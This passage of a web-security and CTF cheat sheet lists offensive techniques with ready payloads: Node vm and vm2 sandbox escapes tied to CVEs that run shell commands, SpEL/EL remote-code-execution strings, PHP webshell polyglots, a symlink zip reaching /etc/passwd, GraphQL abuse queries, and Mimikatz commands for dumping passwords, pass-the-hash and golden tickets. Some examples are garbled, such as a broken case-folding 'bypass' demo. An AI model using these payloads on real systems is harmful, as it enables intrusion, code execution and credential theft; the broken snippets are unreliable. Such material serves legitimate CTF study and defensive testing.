Mitigation

Use $request_uri instead of $uri for proxy_pass:

proxy_pass http://backend$request_uri;

Or validate/encode the URI before passing.


JavaScript Case Folding Quirks

Unicode Case Folding

JavaScript's toUpperCase() and toLowerCase() follow Unicode case folding rules, which can lead to unexpected results.

Turkish Dotless I

"ı".toUpperCase() === 'I'      // Turkish dotless i becomes I
"i".toUpperCase() === 'İ'      // Turkish dotted i becomes İ with dot

Security implications: If you're doing case-insensitive comparisons for domain names or paths, this can lead to bypasses.

Long S

"ſ".toUpperCase() === 'S'      // Long s (historical) becomes S

Kelvin Sign

"K".toLowerCase() === 'k'      // Kelvin sign becomes k

Exploitation Example

// Case-insensitive domain check
function isGoogle(domain) {
    return domain.toLowerCase() === 'google.com';
}

// Bypass
isGoogle('google.com') // true
isGoogle('GOOGLE.COM') // true
isGoogle('google.com') // Wait, that's not...

Real-World Impact

  • Domain validation bypasses: Some characters normalize to the same ASCII character but have different representations
  • XSS filters: Case folding might change the meaning of JavaScript code
  • WAF bypasses: Filters looking for specific strings might miss normalized versions

JavaScript String Replace Specials

Special Replacement Patterns

In JavaScript's String.prototype.replace(), when using a string as the replacement, certain patterns have special meaning:

"123456".replace("34", "$`")   // "121256"

What `$`` means: The portion of the string before the matched substring.

How it works:

  1. Match: "34" in "123456"
  2. Before match: "12"
  3. Replacement: "$`" becomes "12"
  4. Result: "12" + "12" + "56" = "121256"
"123456".replace("34", "$&")   // "123456"

What $& means: The matched substring itself.

How it works: Replacement becomes "34", resulting in "12" + "34" + "56" = "123456"

"123456".replace("34", "$'")   // "125656"

What $' means: The portion after the matched substring.

How it works:

  1. After match: "56"
  2. Replacement: "$'" becomes "56"
  3. Result: "12" + "56" + "56" = "125656"
"123456".replace("34", "$$")   // "12$56"

What $$ means: A literal dollar sign.

Security Implications

If user input controls the replacement string, they can use these special patterns to manipulate the output in unexpected ways.

CTF Example - Dragon CTF 2021 "webpwn": The challenge used replace() with user-controlled replacement. Contestants used $&, $``, and $'` to extract parts of the string and bypass filters.

Advanced Exploitation

// Extract data using replacement patterns
let secret = "flag{abc123}";
let userInput = "flag";
let result = secret.replace(userInput, "$`$&$'");
// This effectively duplicates the string

JavaScript Proxy Bypass

Understanding Proxy

Proxies in JavaScript allow intercepting operations on objects:

var p = new Proxy(
    {flag: FLAG}, 
    {get: () => 'nope'}
);
// Any property access returns 'nope'
console.log(p.flag);  // 'nope'

The Bypass

Object.getOwnPropertyDescriptor(p, 'flag').value  // Returns actual flag

How it works:

  1. getOwnPropertyDescriptor is a fundamental operation that gets property metadata
  2. The proxy's get trap doesn't intercept this
  3. It returns the actual property descriptor, which contains the real value
  4. Access the .value property to get the flag

Other Bypasses

// Using Reflect
Reflect.get(p, 'flag')  // Also intercepted by proxy

// But Reflect.getOwnPropertyDescriptor works
Reflect.getOwnPropertyDescriptor(p, 'flag').value

// Using Object.keys to see enumerable properties
Object.keys(p)  // Might reveal property names

// Using property enumeration
for (let key in p) {
    console.log(key);  // Might iterate over real properties
}

CTF Example - corCTF 2022 "sbxcalc": The challenge used proxies to hide a flag. Contestants had to find ways to bypass the proxy traps to access the underlying object.


Node.js VM Escape

Understanding Node.js VM Module

The vm module allows running JavaScript code in a sandboxed context. However, it's not a security mechanism and multiple escapes exist.

Basic Escape

const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('id').toString();

Step-by-step explanation:

  1. this - In the VM context, this is the global object
  2. this.constructor - Gets the Object constructor
  3. this.constructor.constructor - Gets the Function constructor
  4. Function('return this.process') - Creates a function that returns this.process from the outer scope
  5. process.mainModule.require - Accesses Node.js's require to load child_process
  6. execSync('id') - Executes the command

Why this works: The Function constructor has access to the global scope outside the VM sandbox.

Limited Character Set Escape

Function`a${`return constructor`}{constructor}` `${constructor}` `return flag` ``

How it works: Using template literals to bypass character filters. Template literals can call functions without parentheses.

CTF Example - CONFidence CTF 2020

The challenge restricted characters severely. Contestants used template literals and property accessors to build the escape payload character by character.


Node.js vm2 Escapes

Understanding vm2

vm2 is a popular npm package that attempts to provide a secure sandbox for Node.js. Multiple vulnerabilities have been found over the years.

CVE-2019-10761 (<=3.6.10)

Various escapes existed in early versions. The sandbox could be broken by accessing the host machine's prototype chain.

CVE-2021-23449 (<=3.9.4)

let res = import('./foo.js')
res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("whoami");

How it works:

  1. import() returns a Promise
  2. Access its toString property, then its constructor (Function)
  3. Create a function that returns this (global object)
  4. Access process from the global object
  5. Require child_process and execute commands

CVE-2023-29199 (<=3.9.15)

aVM2_INTERNAL_TMPNAME = {};
function stack() {
    new Error().stack;
    stack();
}
try {
    stack();
} catch (a$tmpname) {
    a$tmpname.constructor.constructor('return process')().mainModule
        .require('child_process').execSync('id');
}

How it works:

  1. Trigger a stack overflow to get an error object
  2. The error object's constructor points to Function
  3. Use it to create a function that returns process
  4. Escape the sandbox

CVE-2023-30547 (<=3.9.16)

err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
};
const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('id');
}

How it works:

  1. Create a proxy with a getPrototypeOf trap
  2. The trap triggers a stack overflow
  3. Catch the error, destruct its constructor
  4. Use constructor to escape

CVE-2023-32314 (<=3.9.17)

const err = new Error();
err.name = {
    toString: new Proxy(() => "", {
        apply(target, thiz, args) {
            const process = args.constructor.constructor("return process")();
            throw process.mainModule.require("child_process").execSync("whoami").toString();
        },
    }),
};
try {
    err.stack;
} catch (stdout) {
    stdout;
}

CVE-2023-37466 (<=3.9.19)

async function fn() {
    (function stack() {
        new Error().stack;
        stack();
    })();
}
p = fn();
p.constructor = {
    [Symbol.species]: class FakePromise {
        constructor(executor) {
            executor(
                (x) => x,
                (err) => { 
                    return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('id'); 
                }
            )
        }
    }
};
p.then();

Important Note

vm2 is officially deprecated as of 2024. The author recommends using isolated-vm or other alternatives:

patriksimek/vm2#533


Apache Tomcat Session Manipulation

Default Example Page

Tomcat includes a session example by default:

/examples/servlets/servlet/SessionExample

What It Does

This page allows:

  • Viewing current session attributes
  • Adding new session attributes
  • Modifying existing attributes
  • Removing attributes

Exploitation

If this page is accessible and not secured:

  1. Session Fixation:

    • Set a known session ID
    • Add attributes to make it look like an authenticated session
  2. Privilege Escalation:

    • If roles/permissions are stored in session, modify them
    • Add isAdmin=true or similar attributes
  3. Information Disclosure:

    • View session attributes of other users (if you can guess their session ID)
    • View application internals stored in session

Prevention

  • Remove examples from production Tomcat installations
  • Secure the /examples context with authentication
  • Disable the examples entirely in web.xml

Polyglot Images + .htaccess

XBM Format as .htaccess

XBM (X BitMap) is an image format that also works as a valid .htaccess file:

#define gg_width 1337
#define gg_height 1337
AddType application/x-httpd-php .asp

How it works:

  1. XBM format starts with #define directives (looks like comments to Apache)
  2. Apache .htaccess files can have comments starting with #
  3. The rest is valid .htaccess configuration
  4. Apache parses it as .htaccess despite the image-like appearance

What This Does

AddType application/x-httpd-php .asp

This tells Apache to treat .asp files as PHP. Combined with an upload vulnerability:

  1. Upload this file as image.xbm (passes image validation)
  2. It's actually a .htaccess file that configures the directory
  3. Upload a file with .asp extension containing PHP code
  4. Apache executes it as PHP

Other Polyglot Combinations

GIF + PHP:

GIF89a
<?php system($_GET['cmd']); ?>

JPEG + PHP:

ÿØÿà JFIF
<?php system($_GET['cmd']); ?>

PDF + PHP:

%PDF-1.4
<?php system($_GET['cmd']); ?>

Mass Assignment / AutoBinding

Understanding Mass Assignment

Mass assignment (also called autobinding) occurs when a framework automatically binds HTTP parameters to object properties. Attackers can set properties that weren't intended to be user-modifiable.

Spring MVC @ModelAttribute

@RequestMapping("/update")
public String update(@ModelAttribute User user) {
    // If User has 'role' field, attacker can set it
    return "success";
}

The vulnerability: Spring automatically binds all request parameters to the User object's properties.

Normal request: POST /update?username=attacker

Malicious request: POST /update?username=attacker&role=admin

If the User class has a role field (even if not in the form), it gets set to "admin".

Rails Mass Assignment

In older Rails versions (before strong parameters):

def update
  @user = User.find(params[:id])
  @user.update_attributes(params[:user])  # Dangerous!
end

Exploitation: POST /users/1?user[role]=admin

Laravel Mass Assignment

public function update(Request $request, $id)
{
    $user = User::find($id);
    $user->update($request->all());  // Dangerous!
}

Protection

Spring: Use DTOs (Data Transfer Objects) or @ModelAttribute with allowed fields

Rails: Use strong parameters

params.require(:user).permit(:username, :email)

Laravel: Define $fillable or $guarded properties in models

CTF Example - VolgaCTF 2019 "shop": The challenge had a user update endpoint. By adding role=admin to the request, contestants could elevate privileges.


EL / SpEL Injection

Understanding Expression Language

Expression Language (EL) is used in Java EE applications to evaluate expressions dynamically. SpEL (Spring Expression Language) is Spring's more powerful version.

Basic Tests

${"a".toString()}
${"".getClass()}
${applicationScope}
${sessionScope}

How to identify: If these expressions are evaluated (not displayed literally), the application is vulnerable to EL injection.

RCE Payloads

${T(java.lang.Runtime).getRuntime().exec('id')}

How it works:

  • T(...) is the EL syntax for accessing a class
  • java.lang.Runtime is the class with exec() method
  • getRuntime() gets the Runtime instance
  • exec('id') executes the command
${Class.forName('java.lang.Runtime').getRuntime().exec('id')}

Alternative using reflection.

${request.getClass().forName('javax.script.ScriptEngineManager')
  .newInstance().getEngineByName('js')
  .eval('java.lang.Runtime.getRuntime().exec("id")')}

How it works:

  1. Access the request object
  2. Use it to load ScriptEngineManager
  3. Get JavaScript engine
  4. Execute JavaScript that runs Java code

Where EL Injection Occurs

  • Spring MVC views (JSP, Thymeleaf)
  • Spring annotations (@Value)
  • XML configuration files
  • Custom expression evaluators

CTF Example - Line CTF 2024 "Heritage": The challenge had a page that evaluated user input as SpEL. Contestants used various payloads to bypass filters and achieve RCE.

CTF Example - Seikai CTF 2023 "Frog WAF": The application had a WAF that blocked certain patterns. Contestants used creative SpEL expressions to bypass the filters.


GraphQL Attacks

Understanding GraphQL

GraphQL is a query language for APIs that allows clients to request exactly the data they need. It has a single endpoint (usually /graphql) and uses a schema to define available data.

Introspection Queries

Introspection allows clients to query the schema itself. This is often enabled in development but accidentally left on in production.

List all types:

{ __schema { types { name } } }

Get full schema:

fragment FullType on __Type {
  kind
  name
  fields(includeDeprecated: true) {
    name
    args { ...InputValue }
    type { ...TypeRef }
  }
  inputFields { ...InputValue }
  interfaces { ...TypeRef }
  enumValues(includeDeprecated: true) { name }
  possibleTypes { ...TypeRef }
}
fragment InputValue on __InputValue {
  name
  type { ...TypeRef }
  defaultValue
}
fragment TypeRef on __Type {
  kind
  name
  ofType { kind name ofType { kind name ofType { kind name } } }
}
query IntrospectionQuery {
  __schema {
    queryType { name }
    mutationType { name }
    types { ...FullType }
    directives {
      name
      description
      locations
      args { ...InputValue }
    }
  }
}

Why this is dangerous: Attackers can discover all available queries, mutations, and types, including hidden fields that might contain sensitive data.

Field Suggestions

GraphQL may suggest field names in error messages:

{
  "message": "Cannot query field \"pass\" on type \"User\". Did you mean \"password\"?"
}

How to exploit: This leaks information about existing fields. By trying different field names and seeing suggestions, you can map out the schema.

Batch Query (Rate Limit Bypass)

[
  { "query": "query { user(id: 1) { name } }" },
  { "query": "query { user(id: 2) { name } }" },
  { "query": "query { user(id: 3) { name } }" }
]

How it works: Some GraphQL implementations accept batched queries in an array. If rate limiting counts each HTTP request, not each query, you can send many queries in one request.

Using aliases:

query {
  u1: user(id: 1) { name }
  u2: user(id: 2) { name }
  u3: user(id: 3) { name }
}

Aliases allow requesting the same field multiple times with different arguments.

CSRF via GraphQL

/graphql?query=query{__typename}

How it works: If GraphQL accepts GET requests (and many do for simple queries), it can be vulnerable to CSRF. An attacker can embed this URL in a <img> tag or similar to make the victim's browser execute queries.

Depth Attack (DoS)

query {
  user(id: 1) {
    posts { author { posts { author { posts { ... } } } } }
  }
}

How it works: Deeply nested queries can consume excessive server resources. Some GraphQL implementations don't limit query depth by default.

Alias Overloading

query {
  user(id: 1) {
    alias1: __typename
    alias2: __typename
    alias3: __typename
    # ... many aliases
  }
}

How it works: Each alias creates a separate field resolution. Thousands of aliases can overwhelm the server.

Tools

  • graphw00f - GraphQL server fingerprinting
  • GraphQLmap - Interactive GraphQL exploitation tool
  • InQL - Burp Suite extension for GraphQL testing

CTF Examples

Line CTF 2023 "Momomomomemomemo": The challenge had a GraphQL endpoint with introspection disabled. Contestants used field suggestions and timing attacks to discover hidden fields.

VolgaCTF 2020 "library": GraphQL mutation allowed updating user profiles. By discovering hidden fields through introspection, contestants could modify their role to admin.


HTTP/2 Push

Understanding HTTP/2 Push

HTTP/2 allows servers to "push" resources to clients before they're requested, improving performance. The server decides what to push based on the initial request.

The Vulnerability

// Attacker page
var iframe = document.createElement('iframe');
iframe.src = 'https://target.com/search?q=secret';
document.body.appendChild(iframe);

How it works:

  1. Victim visits attacker's page
  2. Attacker makes a request to the target site (e.g., search query)
  3. The target server may push resources based on the query
  4. Attacker can observe which resources were pushed
  5. Different push patterns indicate different search results

Information Leakage

If the server pushes different resources for "user exists" vs "user doesn't exist":

  • Push for "user=admin" might include dashboard resources
  • Push for "user=random" might only include error page resources
  • By measuring which resources are pushed, attacker can determine if user exists

CTF Example - ALLES CTF 2020 "Push"

The challenge used HTTP/2 push as a side channel. Different search queries resulted in different pushed resources, allowing contestants to enumerate valid usernames.

Mitigation

  • Disable HTTP/2 push if not needed
  • Don't push resources based on sensitive parameters
  • Use consistent push patterns regardless of query results

Symlink in Zip

Creating a Symlink Zip

ln -s ../../../../../../etc/passwd link
zip --symlink evil.zip link

How it works:

  1. Create a symbolic link pointing to a sensitive file
  2. Zip the symlink with the --symlink flag to preserve it as a symlink
  3. Upload the zip to the target
  4. When the target extracts it, they get a symlink to the sensitive file

Exploitation Scenarios

  1. File upload that extracts zip: If the application automatically extracts uploaded zip files, it may create symlinks pointing to system files.

  2. Include/extract functionality: Any feature that extracts archives might be vulnerable.

  3. Backup/restore functionality: Applications that restore from backups might extract malicious symlinks.

Example Attack

# Attacker creates symlink zip
import os
os.symlink('/etc/passwd', 'link')
import zipfile
with zipfile.ZipFile('evil.zip', 'w') as z:
    z.write('link')

# Victim extracts
with zipfile.ZipFile('evil.zip', 'r') as z:
    z.extractall()
# Now 'link' points to /etc/passwd

Protection

  • Use ZipFile.extract() with caution
  • Check for symlinks before extraction
  • Extract in a sandboxed environment
  • Use zipfile.ZipFile with extractall and check members

curl Tricks

Range Matching

curl 'fi[k-m]e:///etc/passwd'

How it works: curl supports URL globbing (like shell wildcards). [k-m] matches any character from k to m. This can be used to:

  • Brute force subdomains
  • Discover files
  • Bypass simple filters

Brace Expansion

curl '{file,http}://example.com'

How it works: Brace expansion creates multiple URLs. This will try:

  • file://example.com
  • http://example.com

Other curl Tricks

# Follow redirects
curl -L http://target.com

# Send cookies
curl -b "session=abc123" http://target.com

# Save cookies
curl -c cookies.txt http://target.com

# Use proxy
curl -x http://proxy:8080 http://target.com

# Custom headers
curl -H "X-Forwarded-For: 127.0.0.1" http://target.com

# Upload file
curl -F "file=@shell.php" http://target.com/upload

# Verbose output (see headers)
curl -v http://target.com

# Silent mode (no progress)
curl -s http://target.com

CTF Example - N1CTF 2021 "Funny_web": The challenge required using curl's globbing features to discover hidden endpoints. Contestants used curl 'http://target.com/api/v[1-10]' to find versioned APIs.


tcpdump Cheatsheet

Basic Usage

# Capture all interfaces
tcpdump -i any

What it does: Listens on all network interfaces and displays packet information.

# Capture specific interface
tcpdump -i eth0

Useful when you know which interface the traffic flows through.

# Capture with full packet data
tcpdump -s 0 -w capture.pcap
  • -s 0 captures entire packets (no truncation)
  • -w capture.pcap writes to a file for later analysis in Wireshark

Filtering

# Filter by host
tcpdump host 192.168.1.1
tcpdump src 192.168.1.1
tcpdump dst 192.168.1.1
# Filter by port
tcpdump port 80
tcpdump src port 80 and dst port 443
# Complex filters
tcpdump 'src 192.168.1.1 and (dst port 80 or dst port 443)'

Useful for CTF

# Capture HTTP requests
tcpdump -i any -A -s 0 'tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)'

# Capture POST data
tcpdump -i any -s 0 -A 'tcp dst port 80 and (tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354)'

# Save to file for analysis
tcpdump -i eth0 host attacker.com -w output.pcap

# Read from file
tcpdump -r output.pcap

# Show packet contents in hex and ASCII
tcpdump -r output.pcap -X

Tools & Online Resources

Information Gathering

Shodan (https://www.shodan.io/)

  • Searches for internet-connected devices
  • Filter by port, service, location
  • Find vulnerable services exposed online

Censys (https://censys.io/)

  • Internet-wide scan data
  • Certificate transparency
  • Host and service enumeration

ZoomEye (https://www.zoomeye.org/)

  • Chinese alternative to Shodan
  • Good for finding devices in Asia

Fofa (https://fofa.info/)

  • Another internet search engine
  • Useful for finding exposed services

Certificate Transparency

crt.sh (https://crt.sh/)

  • Search SSL/TLS certificates
  • Find subdomains from certificate logs
  • Historical certificate data

Censys Certificates (https://search.censys.io/certificates)

  • Search certificates by issuer, subject, fingerprint
  • Find certificates issued to a domain

DNS/WHOIS

DNSdumpster (https://dnsdumpster.com/)

  • DNS recon tool
  • Finds subdomains, MX records, TXT records
  • Visual mapping of domain infrastructure

DomainIQ (https://www.domainiq.com/reverse_whois)

  • Reverse WHOIS search
  • Find domains owned by same entity

Robtex (https://www.robtex.com/)

  • DNS lookup and routing information
  • See IP neighbors and related domains

SecurityTrails (https://securitytrails.com/)

  • DNS history
  • Subdomain discovery
  • API available

Subdomain Enumeration

Sublist3r

python sublist3r.py -d example.com

Uses search engines to enumerate subdomains.

Amass

amass enum -d example.com

Deep subdomain enumeration with multiple sources.

Assetfinder

assetfinder example.com

Fast, simple subdomain discovery.

Web Technology Detection

WhatWeb

whatweb example.com

Identifies CMS, web servers, JavaScript libraries.

Wappalyzer Browser extension that shows technologies used on websites.

BuiltWith (https://builtwith.com/) Online tool for technology profiling.

Cloud/S3 Enumeration

GrayHatWarfare (https://buckets.grayhatwarfare.com/) Search for public S3 buckets.

AWSBucketDump

python AWSBucketDump.py -D bucketlist.txt

Checks for readable S3 buckets.

Directory Brute Force

Dirb

dirb http://target.com

Basic directory brute forcer.

Gobuster

gobuster dir -u http://target.com -w wordlist.txt

Fast directory/file enumeration.

FFUF

ffuf -u http://target.com/FUZZ -w wordlist.txt

Flexible fuzzing tool.

Git Leak Tools

scrabble

python scrabble.py example.com

Finds exposed .git repositories.

git-dumper

git-dumper http://target.com/.git/ ./repo

Downloads entire .git repository.

dvcs-ripper

./rip-git.pl -u http://target.com/.git/

Rips git, svn, mercurial repositories.

.DS_Store

ds_store_exp

python ds_store_exp.py http://target.com/.DS_Store

Parses .DS_Store files to list directory contents.

Hash Cracking

Online Databases:

Local Tools:

  • Hashcat - GPU-accelerated cracking
  • John the Ripper - Password cracking

Encoding/Decoding

Unicode Converters:

Other:

PHP Tools

Online Execution:

Obfuscation/Encryption:

XSS Tools

Payload Collections:

Testing:

  • XSSer - Automated XSS testing
  • XSStrike - Advanced XSS scanner
  • http://xssor.io/ - Online XSS payload generator

DNS Exfiltration

DNS Rebinding

CTF Example - DEFCON CTF 2019 Qual "ooops": DNS rebinding was used to bypass same-origin policy and access internal services.

Windows Post-Exploitation

Mimikatz:

# Dump passwords
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

# Pass-the-hash
mimikatz.exe "sekurlsa::pth /user:Administrator /domain:domain.local /ntlm:hash"

# Golden ticket
mimikatz.exe "kerberos::golden /domain:domain.local /sid:S-1-5-21-... /rc4:krbtgt_hash /user:Administrator /id:500 /ptt"

# Pass-the-ticket
mimikatz.exe "kerberos::ptt ticket.kirbi"

PowerSploit: https://github.com/PowerShellMafia/PowerSploit

WASM Tools

General Collections

Other Useful Websites


Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment